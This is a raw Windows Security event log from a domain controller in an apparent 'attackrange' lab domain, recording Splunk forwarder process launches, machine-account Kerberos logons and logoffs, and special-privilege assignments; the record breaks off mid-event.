TaskCategory=Process Creation
OpCode=Info
RecordNumber=256364
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256377
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x778
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256376
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F4DBD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256375
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F4ECB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256374
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F4F14

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256373
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3F4F85
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51489

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256372
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F4F85

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256371
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3F4F14
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		51488

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256370
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F4F14

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256369
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3F4ECB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256368
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F4ECB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256367
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3F4DBD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51487

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256366
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F4DBD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256378
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:17:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256379
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:17:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256380
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x52c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:17:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256381
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F4F85

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:17:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256384
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F752A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:17:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256383
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3F752A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51501

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:17:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256382
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F752A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:18:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256385
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:18:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256387
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:18:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256386
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x448
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:18:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256388
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:18:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256389
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
